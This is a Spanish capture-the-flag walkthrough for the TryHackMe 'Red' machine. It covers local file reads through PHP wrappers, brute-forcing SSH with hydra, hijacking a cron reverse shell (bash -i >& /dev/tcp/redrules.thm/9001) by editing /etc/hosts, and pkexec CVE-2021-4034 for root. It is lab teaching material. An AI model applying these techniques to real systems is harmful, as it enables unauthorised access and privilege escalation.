Red
En la maquina red se enfrenta el blue y el red team, una maquina que al acceder a la maquina como el usuario blue el otro te sacara y cambiara la contraseña. También tendrás que enumerar los procesos para poder escalar privilegios y hacer uso de la vulnerabilidad del pkexec cuando tiene el privilegio SUID

Link Red
Created by tryhackme and hadrian3689
Walkthrough
Enumeración
Empezamos a enumerar los puertos abiertos
Una vez conociendo los puertos abiertos, realizaremos la enumeración de cada uno de los puertos con la herramienta de nmap.
Los puertos abiertos que se tienen son 22,80 y tenemos los servicios ssh y http
Puerto 80
Enumerando el puerto 80 nos encontramos con un sitio web

Al navegar en el sitio web encontraremos con el parámetro ?page= que usaremos para leer archivos de la maquina victima. La forma que podemos leer es con wrappers haciendo uso de base 64
Explotación
Haremos uso de burpSuite realizaremos las peticiones. Vemos que tenemos respuesta en base64
Leemos el index.php en el cual tenemos el siguiente código
Función
sanitize_input:La función
sanitize_inputtoma un parámetro$param.Usa
str_replacepara eliminar las secuencias "../" y "./" del parámetro, lo que ayuda a prevenir ataques de navegación a través de directorios (../) y a asegurar que la ruta sea relativa (./).Devuelve el parámetro sanitizado.
Obtención del parámetro
page:El código intenta obtener el valor del parámetro
pagede la superglobal$_GET.Se verifica si la variable
$pageestá definida y si su valor coincide con el patrón "/^[a-z]/". Este patrón permite solo letras minúsculas al comienzo del valor del parámetro.
Sanitización del parámetro
page:Si el valor del parámetro
pageestá definido y pasa la verificación de patrón, se llama a la funciónsanitize_inputpara limpiar el valor.
Lectura y salida del archivo:
Se utiliza la función
readfilepara leer y enviar el contenido del archivo especificado por el parámetropage.
Manejo de condiciones no cumplidas:
Si no se cumple la condición de la verificación de patrón o si el parámetro
pageno está definido, el código redirige al usuario a una página predeterminada (home.html).
Aunque se intenta sanear el parámetro
page, el enfoque utilizado no es completamente seguro contra todos los posibles vectores de ataque. Para una mayor seguridad, se recomienda el uso de funciones específicas comorealpathpara normalizar y asegurar las rutas de archivos.La verificación del patrón usando
preg_matchpuede ser insuficiente dependiendo de los requisitos específicos de seguridad. Podría ser más seguro especificar una lista blanca de páginas permitidas en lugar de solo verificar el formato del nombre del archivo.
Estuve enumerando los archivos del sistema y encontré algo interesante en /home/blue/.bash_history en el siguiente código:
En el anterior archivo vemos un archivo llamado .reminder que hace uso hashcat para generar una lista de palabras.
Ahora intentaremos leer el archivo .reminder
Obtenemos el contenido del archivo el cual lo tenemos en base64
Decodificando nos encontramos con el contenido del archivo que es sup3r_p@s$w0rd!
Vamos a replicar el los comandos que encontramos en bash_history del usuario blue
Generamos una lista de palabras, las cuales usaremos para realizar fuerza bruta contra el servicio ssh

Como no sabemos el usuario para iniciar sesion por ssh, haremos uso de un archivo user.txt donde ingresaremos los nombres de usuarios que encontramos al enumerar el /etc/pass que en este caso son blue y red.
Fuerza Bruta

Escalada de privilegios
Usuario - blue
Nos conectamos haciendo uso de las credenciales que encontró hydra
Tendremos que hacer uso el -T para no perder la sesión ya que tenemos una serie de mensajes y al final nos cerrara la sesión.
Enumerando el sistema encontraremos un proceso que se ejecuta cada minuto, . Esto lo enumere con pspy64

Vamos a explicar mas lo que hace el comando:
bash -c: Ejecuta el comando que sigue después de-cen una instancia de Bash.nohup: Es un comando que se utiliza para ejecutar otro comando de forma que siga ejecutándose incluso después de que el terminal que lo inició haya sido cerrado. En este contexto, se utiliza para asegurarse de que la conexión persista incluso si se cierra la terminal.bash -i: Lanza una instancia interactiva de Bash, lo que significa que el shell se ejecutará de forma interactiva permitiendo la entrada y salida.>& /dev/tcp/redrules.thm/9001: Esto redirige tanto la salida estándar como la salida de error al socket TCP especificado. En este caso, redirige la salida aredrules.thmen el puerto9001.0>&1: Redirige la entrada estándar al mismo lugar que la salida estándar, lo que asegura que la entrada y salida estén conectadas.&: Coloca el proceso en segundo plano, permitiendo que el terminal esté disponible para otros comandos.
Observemos un poco mas redrules.thm que esta en /etc/hosts. Vemos que este dominio redirige a una ip que al enumerar vemos que no existe

Vemos que tenemos permisos de escritura sobre el archivo /etc/hosts, entonces lo que realizaremos sera ingresar nuestra IP atacante con el dominino

Ingresamos nuestra IP atacante con el dominio al /etc/hosts
Usuario - red
Iniciamos ncat en el puerto 9001 porque es por ahí que envía una Shell la maquina victima

Esperemos un minuto y debemos de tener una shell.
Ahora tenemos podemos leer y ver el contenido del directorio .git y vemos que contiene un binario de pkexec que tiene permisos de SUID

Usuario - root
Para explotar este binario haremos uso de la vulnerabilidad CVE-2021-4034. Antes de hacer uso el exploit cambiaremos la ruta del binario

Ahora para subir el exploit en Python podemos hacer uso el método que prefiramos mas

¡Vamos! Happy Hacking
Last updated